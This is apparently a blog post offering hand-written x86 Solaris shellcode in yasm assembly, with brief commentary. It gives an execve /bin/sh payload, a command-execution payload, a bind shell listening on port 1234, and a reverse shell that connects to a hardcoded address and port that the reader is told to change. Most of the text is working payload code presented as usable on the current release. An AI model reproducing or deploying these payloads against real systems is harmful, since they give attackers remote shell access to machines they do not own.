I wasn’t going to discuss these but they might be useful as a reference for anyone attempting to write shellcodes for Solaris on x86.
Existing x86 codes I found online are outdated and don’t work anymore so these were written from scratch and as of now do work with latest release. If you just want sources, see here.
If you’re writing codes like this from scratch, truss and gdb are both useful to hunt down potential problems. I’ve used yasm to write these sources because AT&T syntax hurts my eyes and brain. It will hurt yours too, take my word for it.
There’s a yasm package available for Solaris through pkg but surprisingly none for nasm .
execveMost linux heads will be familiar with execve function. For whatever reason, the copy of Solaris I have just wouldn’t work unless I provided additional null parameter.
int execve(const char *filename, char *const argv[],char *const envp[]); ;
push 0x3b
pop eax
cdq
push edx ; '\0'
push '//sh' ;
push '/bin' ;
mov ebx, esp ; ebx = "/bin//sh", 0
push edx ; NULL
push ebx ; "/bin//sh", 0
mov ecx, esp ; ecx = argv
push edx ; 0
push edx ; 0
push ecx ; argv
push ebx ; "/bin//sh", 0
push edx ;
int 0x91 Execute command Same as first code except we supply “-c” and command in argv[] array. ;
push 0x3b
pop eax ; eax = sys_execve
cdq ; edx = 0
push edx ; '\0'
push '//sh' ; "hs//"
push '/bin' ; "nib/"
mov ebx, esp ; ebx = "/bin//sh", 0
push edx ; '\0'
push word '-c'
mov edi, esp
push edx ; NULL
jmp l_cmd
r_cmd:
push edi ; "-c", 0
push ebx ; "/bin//sh", 0
mov ecx, esp ; ecx = argv
push edx ; 0
push edx ; 0
push ecx ; argv
push ebx ; "/bin//sh", 0
push edx ;
int 0x91
l_cmd:
call r_cmd
; put your command here followed by null terminator Bind shell to port
One thing to mention about binding shell to a port is that dup2 system call for whatever reason isn’t available so we emulate it using close and fcntl
This just listens on port 1234 for incoming connection and spawns /bin/sh
;mov eax, ~0x00000000 & 0xFFFFFFFF
mov edx, ~0xD2040002 & 0xFFFFFFFF
not eax
not edx
push eax ; sa.sin_addr = ADDR_ANY
push edx ; sa.sin_port = 1234, sa.sin_family=AF_INET
mov edi, esp ; edi = &sa
; step 1
; so_socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
xor ebx, ebx
mul ebx
mov al, 2
push eax ; sov_sockstream
push edx
push edx ; IPPROTO_IP
push eax ; SOCK_STREAM
push eax ; AF_INET
push eax
mov al, 230
int 0x91
xchg eax, ebx
; step 2
; bind (s, &sa, sizeof(sa));
push 16
push edi ; &sa
push ebx ; s
push edx
mov al, 232 ; sys_bind
int 0x91
; step 3, listen for incoming connections
; listen (s, 0);
push edx
push ebx ; s
push edx
mov al, 233 ; eax=sys_listen
int 0x91
; step 4, accept connections
; accept (s, 0, 0);
push edx ; 0
push ebx ; s
push 2 ; 2
mov al, 234 ; eax = sys_accept
int 0x91
; step 5, assign socket to stdin, stdout and stderr
; dup2(r, FILENO_STDIN)
; dup2(r, FILENO_STDOUT)
; dup2(r, FILENO_STDERR)
xchg eax, ebx
xchg eax, edx
cdq
pop ecx
; dup2 syscall #9 no longer exists
; so we emulate it with close() and fcntl()
; fildes2 in ecx
; fildes in ebx
; edx = 0
dup2:
; close(fildes);
push ecx
push edx
mov al, 6
int 0x91
; fid = fcntl(fildes, F_DUPFD, fildes2);
push ecx ; fileno
push 9 ; F_DUPFD
push ebx ; s
push edx ; return address
mov al, 62 ; eax = sys_fcntl
int 0x91
add esp, 6*4
dec ecx
jns dup2
; step 6
; execve ("/bin//sh", {"/bin//sh", NULL}, 0, 0);
push edx ; '\0'
push '//sh'
push '/bin'
mov ebx, esp ; ebx = "/bin//sh", 0
push edx ; NULL
push ebx ; "/bin//sh", 0
mov ecx, esp
push edx ; 0
push edx ; 0
push ecx ; argv
push ebx ; "/bin//sh", 0
push edx
mov al, 59 ; eax = sys_execve
int 0x91 Reverse connect
Setup netcat or ncat locally. Obviously need to change hardcoded ip address and port of 127.0.0.1:1234
;mov eax, ~0x0100007f & 0xFFFFFFFF
mov edx, ~0xD2040002 & 0xFFFFFFFF
not eax
not edx
push eax ; sa.sin_addr = inet_addr("127.0.0.1")
push edx ; sa.sin_port = 1234, sa.sin_family=AF_INET
mov edi, esp ; edi = &sa
; step 1, create a socket
; socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
xor ebx, ebx
mul ebx
mov al, 2
push eax ; sov_sockstream
push edx
push edx ; IPPROTO_IP
push eax ; SOCK_STREAM
push eax ; AF_INET
push eax
mov al, 230
int 0x91
xchg eax, ebx
; step 2, assign socket to stdin, stdout and stderr
; dup2 (s, FILENO_STDIN)
; dup2 (s, FILENO_STDOUT)
; dup2 (s, FILENO_STDERR)
pop ecx ; esi = 2
; dup2 syscall #9 no longer seems to exist
; so we emulate it with close() and fcntl()
; fildes2 in ecx
; fildes in ebx
; edx = 0
dup2:
; close(fildes);
push ecx
push edx
mov al, 6
int 0x91
; fid = fcntl(fildes, F_DUPFD, fildes2);
push ecx ; fileno
push 9 ; F_DUPFD
push ebx ; s
push edx ; return address
mov al, 62 ; eax = sys_fcntl
int 0x91
add esp, 6*4
dec ecx
jns dup2
; step 3, connect to remote host
; connect (s, {AF_INET, 1234, 127.0.0.1}, 16);
push 16
push edi ; &sa
push ebx ; s
push eax ; 0
mov al, 235
int 0x91
; step 4, execute shell
; execvex ("/bin//sh", {"/bin//sh", NULL}, 0, 0);
push eax ; '\0'
push '//sh'
push '/bin'
mov ebx, esp ; ebx = "/bin//sh", 0
push eax ; NULL
push ebx ; "/bin//sh", 0
mov ecx, esp
push eax ; 0
push eax ; 0
push ecx ; argv
push ebx ; "/bin//sh", 0
push eax
mov al, 59 ; eax = sys_execve
int 0x91 Sources
See here